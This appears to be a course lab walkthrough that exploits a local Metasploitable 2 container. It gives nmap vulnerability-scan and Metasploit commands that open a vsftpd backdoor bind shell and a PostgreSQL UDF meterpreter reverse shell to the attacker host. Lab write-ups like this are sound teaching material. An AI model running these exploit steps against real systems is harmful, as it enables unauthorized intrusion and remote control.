> For the complete documentation index, see [llms.txt](https://cas-cyber.gitbook.io/cas-cybersecurity/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cas-cyber.gitbook.io/cas-cybersecurity/exploitation/metasploitable-2.md). # Metasploitable 2 ### Start Metasploitable2 If you haven't setup metasploitable2 yet you can follow my steps in the chapter [Docker basics and Images](/cas-cybersecurity/docker-basics.md#metasploitable-2-vm). > docker ps -a > > docker start meta2 > > docker ps > > docker exec -it meta2 /bin/bash > > hostname -i
### nmap vulnerability scan > sudo nmap -T5 -Pn -n -v -sS -sV --script "vuln OR default" --open -oA ./vulscan\_nmap\_meta2 172.17.0.2 Wait until scan is finished: > xsltproc vulscan\_nmap\_meta2.xml -o vulscan\_nmap\_meta2.html {% file src="/files/-Mhegop7VBL49Zs3iAzZ" %} Metasploitable2 Scan Report {% endfile %} ### Exploit vsftpd service > searchsploit vsftpd ![exploit search with searchsploit](https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MheTCTF8mt0S_IcB6g3%2F-Mheiws2NpTbA9ltRPUP%2Fvsftpd01.png?alt=media\&token=58f5c794-2b9b-4b27-ada7-78522d8f2b2d) > msfconsole > > search vsftpd > > use 0 > > set rhost 172.17.0.2 > > exploit We have a bindshell: ![netstat -ntpla shows bind shell process on port 6200](https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MheTCTF8mt0S_IcB6g3%2F-MhemJSM3tMkna4d6Jlv%2Fvsftpd03.png?alt=media\&token=f06f457f-8062-4fc3-ae82-e28a080b6448) ![bind shell from msf console](https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MheTCTF8mt0S_IcB6g3%2F-MhemR1Ij2EJHUVwdD5D%2Fvsftpd02.png?alt=media\&token=494d55eb-e7ff-43e7-88df-9803496b939b) ### Exploit postgresSQL From the vulnerability report we can see that a postgresSQL Service is running on the target system. ![PostgresSQL is vulnerable to exploit](https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MhenXzlhYPzMqQuR00g%2F-MhhLqCrD8fHgTMs_-lU%2Fpostgres01.png?alt=media\&token=03c6976c-af5a-435e-91a1-95eb82723499) Let's enumerate the PostgresSQL Version of our target: > use auxiliary/scanner/postgres/postgres\_version > > set rhosts 172.17.0.2 > > exploit ![PostgresSQL Version 8.3.1](https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MhenXzlhYPzMqQuR00g%2F-MhhNONKFOgZKNe_QJIP%2Fpostgres02.png?alt=media\&token=4dd7c650-421a-420b-8f82-262af6752abf) > search postgres ![There is a exploit available](https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MhenXzlhYPzMqQuR00g%2F-MhhOfnnSqkxixGuj00c%2Fpostgres03.png?alt=media\&token=8f9cd8d7-4fb7-4ff0-86a3-b1770819f38e) > use 13 > > info Description: On some default Linux installations of PostgreSQL, the postgres service account may write to the /tmp directory, and may source UDF Shared Libraries from there as well, allowing execution of arbitrary code. This module compiles a Linux shared object file, uploads it to the target host via the UPDATE pg\_largeobject method of binary injection, and creates a UDF (user defined function) from that shared object. Because the payload is run as the shared object's constructor, it does not need to conform to specific Postgres API versions. > set lhost 172.17.0.1 > > set rhost 172.17.0.2 (We leave the default payload --> linux/x86/meterpreter/reverse\_tcp) > exploit -j > > sessions ![meterpreter reverseshell is established](https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MhenXzlhYPzMqQuR00g%2F-MhhR_qz-RWZ8s8Qkch9%2Fpostgres04.png?alt=media\&token=4562bd28-d696-4580-9c17-3d0918cef30a) ![session 3 is my meterpreter shell](https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MhenXzlhYPzMqQuR00g%2F-MhhRlQrEGISq5nR7bhe%2Fpostgres05.png?alt=media\&token=e6203a41-00de-4ab0-bac9-f42c613da68c) > sessions -i 3 ![Now you can explore the options](https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MhenXzlhYPzMqQuR00g%2F-MhhT6lF3lgFO3_rjcT7%2Fpostgres06.png?alt=media\&token=d2a480e3-ff06-4a76-9389-96f376bbbc8b)